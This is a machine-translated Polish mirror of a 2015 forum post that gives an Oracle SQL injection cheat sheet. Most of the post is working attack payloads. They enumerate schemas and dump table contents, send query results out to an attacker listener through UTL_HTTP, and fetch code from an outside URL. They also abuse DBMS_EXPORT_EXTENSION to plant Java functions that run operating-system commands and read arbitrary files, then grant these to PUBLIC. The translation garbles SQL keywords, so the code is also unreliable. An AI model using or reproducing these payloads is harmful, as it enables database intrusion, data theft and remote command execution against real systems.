Ten artykuł jest lustrzanym artykułem tłumaczenia maszynowego, kliknij tutaj, aby przejść do oryginalnego artykułu.

Widok: 11931|Odpowiedź: 0

[Bezpieczna komunikacja] SQL injection notuje oracle

[Skopiuj link]
Opublikowano 24.01.2015 12:58:17 | | |
Ten post został ostatnio edytowany przez test 2015-1-24 o 13:01

Komentarz: --
Nie jest obsługiwane wykonywanie wielu zdań, a federowane zapytania są wspierane
Nazwy baz danych, tabel i kolumn są pisane wielką literą.


długość(pole)
ascii(substr(field, N, 1))


oraz (wybierz count(*) z dualu)>0 -- Określ, czy jest to orakulum, czy nie

Kolejność przez n--

oraz 1=2 union select null, null,.....,null z dualu-- zastąp null przez N lub 'N'

oraz 1=2 union select null, (instrukcja sql) ,.....,null z dual -- change to (sql command) przy 'N'

oraz (wybierz count(*) z all_objects gdzie object_name='UTL_HTTP')>0 -- Sprawdź, czy UTL_HTTP jest obsługiwany (adres eksportu jest znany)

oraz UTL_HTTP.request('http://LocalIP:port'|| (Instrukcja SQL)) =1-- Zdalnie wysyłaj wiadomości do lokalnego, lokalnego słuchania nc -vv -l -p 1234


Instrukcje SQL
Wybierz baner z wersji sys.v_$, gdzie Rownum=1, aby zapytać wersję orakulum
wybierz członka z pliku v$log, gdzie rownum=1 Zapytaj ścieżkę pliku logu (Windows lub Linux)
wybierz utl_inaddr.get_host_address z dual, aby zapytać IP podsłuchującego bazę danych
Wybierz instance_name z v$instance, aby zapytać o SID
Wybierz nazwę z v$database Zapytaj aktualną nazwę bazy danych
Wybierz sys_context ("userenv", 'current_user') z użytkowników bazy danych z podwójnymi zapytaniami
Wybierz * z session_roles gdzie Rownum=1, aby zapytać o aktualne uprawnienia użytkownika
Wybierz * z session_roles gdzie Rownum=1 [i rola<>'pierwsza nazwa uprawnień']



Wybierz table_name z user_tables gdzie Rownum=1 Pierwszy segment tabeli aktualnej bazy danych
Wybierz table_name||','|| tablespace_name z user_tables gdzie rownum=1 Pierwszy segment tabeli, baza danych (dla weryfikacji może to nie być v$database)
Wybierz table_name z user_tables gdzie rownum=1 oraz table_name<>'segment pierwszej tabeli' Drugi segment tabeli aktualnej bazy danych

wybierz column_name z user_tab_columns gdzie rownum=1 i table_name='Segment tabeli' Pierwsze pole odpowiadające nazwie tabeli
wybierz column_name z user_tab_columns gdzie rowum=1 i table_name='Segment tabeli' oraz column_name<>'Pierwsze pole' Drugie pole odpowiadające nazwie tabeli

Wybierz pole z segmentu tabeli, gdzie Rownum=1 narusza treść pierwszej linii
Wybierz pole z segmentu tabeli, gdzie Rownum=1, a pole <> 'treść pierwszej linii' odsłania treść drugiej linijki


Międzybiblioteczne
Wybierz właściciela z all_tables gdzie Rownum=1 zapytuje pierwszą nazwę bazy danych
Wybierz właściciela z all_tables gdzie rownum=1 oraz właściciel<> 'Pierwsza nazwa bazy danych', aby zapytać o drugą nazwę bazy danych

Wybierz table_name z all_tables gdzie rownum=1 i owner='nazwa bazy' Zapytaj o pierwszą nazwę tabeli odpowiadającej bazy danych
Wybierz table_name z all_tables gdzie Rownum=1 i Owner='Database name' oraz table_name<>'first table name', aby zapytać o drugą nazwę tabeli odpowiadającej bazy danych

Wybierz column_name z all_tab_columns gdzie rownum=1 i owner='nazwa bazy danych' oraz table_name='segment tabeli' Pierwsze pole odpowiadające nazwie tabeli
Wybierz column_name z all_tab_columns gdzie rownum=1 i owner='nazwa bazy' oraz table_name='segment tabeli' oraz column_name<>'pierwsze pole'. Drugie pole odpowiadające nazwie tabeli

Wybierz pole z bazy danych. segment tabeli, gdzie rownum=1 narusza treść pierwszej linii
Wybierz pole z bazy danych. Segment tabeli, gdzie rownum=1 i pole <> 'Treść pierwszej linii', narusza treść drugiego wiersza





SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); wieloinstrukcyjne KONIEC; --','SYS',0,'1',0)--

Jeśli 'is escaped, używa się chr().

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Wieloinstrukcyjne || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--

Jeśli wiele zdań jest za długich, możesz zapisać zdanie do pliku na stronie internetowej i użyć utl_http.request, aby je odzyskać.

SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--





Stwórz pakiet JAVA SecTest
runCMD służy do wykonywania poleceń systemowych
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIAST" – OGŁASZAJĄ PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWY'''', utwórz lub zastąp i skompiluj źródło Java o nazwie "SecTest" jako import java.io.*; public class SecTest rozszerza Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zwrot siły; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

readFile służy do odczytu pliku
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIAST" – OGŁASZAJĄ PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWY'''', utwórz lub zastąp i skompiluj źródło Java o nazwie "SecTest" jako import java.io.*; klasa publiczna SecTest rozszerza Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; while((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); zwrot siły; }catch(Exception e){return e.toString(); }}}''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Przyznaj uprawnienia Java
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ, WYKONAJ NATYCHMIASTOWE "'''begin dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>''''''''''''''''wykonaj''''''''); koniec; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Stwórz funkcję
Funkcja SecRunCMD
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''utwórz lub zamień funkcję SecRunCMD(p_cmd in varchar2) zwróć varchar2 jako nazwę języka Java''''''''SecTest.runCMD(java.lang.String) zwróć String'''''''' ; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

Funkcja SecReadFile
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''create or replace function SecReadFile(filename in varchar2) return varchar2 jako language java name''''''''SecTest.readFile(java.lang.String) return String' '''''''; ''''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Udzielenie zgody na wykonanie funkcji publicznej
SecRunCMD otrzymuje uprawnienia
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ NATYCHMIASTOWE WYKONANIE "przyznaj wszystko na SecRunCMD publicznie"; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--

SecReadFile
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; ROZPOCZNIJ NATYCHMIASTOWE WYKONANIE "''''udostępnij wszystko na SecReadFile publicznie'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--



Wykrywa, czy funkcja została pomyślnie utworzona
oraz (wybierz count(*) z all_objects gdzie object_name='SECRUNCMD')>0--
oraz (wybierz count(*) z all_objects gdzie object_name='SECREADFILE')>0--



Wykonaj polecenie
oraz '1'<> (wybierz sys. SecRunCMD('Wykonaj polecenie') z dual)--
oraz '1'<> (wybierz sys. SecReadFile('fizyczny adres pliku') z dual)--
lub
oraz 1=2 union select null,...,sys. SecRunCMD('wykonaj polecenie'),...,null z du--
oraz 1=2 union select null,...,sys. SecReadFile('fizyczny adres pliku'),...,null z dual--
lub
oraz '1'<>(wybierz UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Wykonaj polecenie'),' ',' '),'\n',' ')) z dual)--
oraz '1'<>(wybierz UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('Fizyczny adres pliku'),' ',' ','\n',' ')) z dual)--



Funkcja usuwania
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecRunCMD'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--
oraz '1'<>'a'|| (wybierz SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO', 'BAR', 'DBMS_OUTPUT'". PUT(:P 1); WYKONAJ NATYCHMIASTOWE "DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''drop function SecReadFile'''; KONIEC; ''; KONIEC; --','SYS',0,'1',0) z dual)--




Poprzedni:Czy mogę ubiegać się o moderację, jakie warunki są potrzebne?
Następny:ORALCE pobiera nazwę hosta oraz adres IP
Zrzeczenie się:
Całe oprogramowanie, materiały programistyczne lub artykuły publikowane przez Code Farmer Network służą wyłącznie celom edukacyjnym i badawczym; Powyższe treści nie mogą być wykorzystywane do celów komercyjnych ani nielegalnych, w przeciwnym razie użytkownicy ponoszą wszelkie konsekwencje. Informacje na tej stronie pochodzą z Internetu, a spory dotyczące praw autorskich nie mają z nią nic wspólnego. Musisz całkowicie usunąć powyższą zawartość z komputera w ciągu 24 godzin od pobrania. Jeśli spodoba Ci się program, wspieraj oryginalne oprogramowanie, kup rejestrację i korzystaj z lepszych, autentycznych usług. W przypadku naruszenia praw prosimy o kontakt mailowy.

Mail To:help@itsvse.com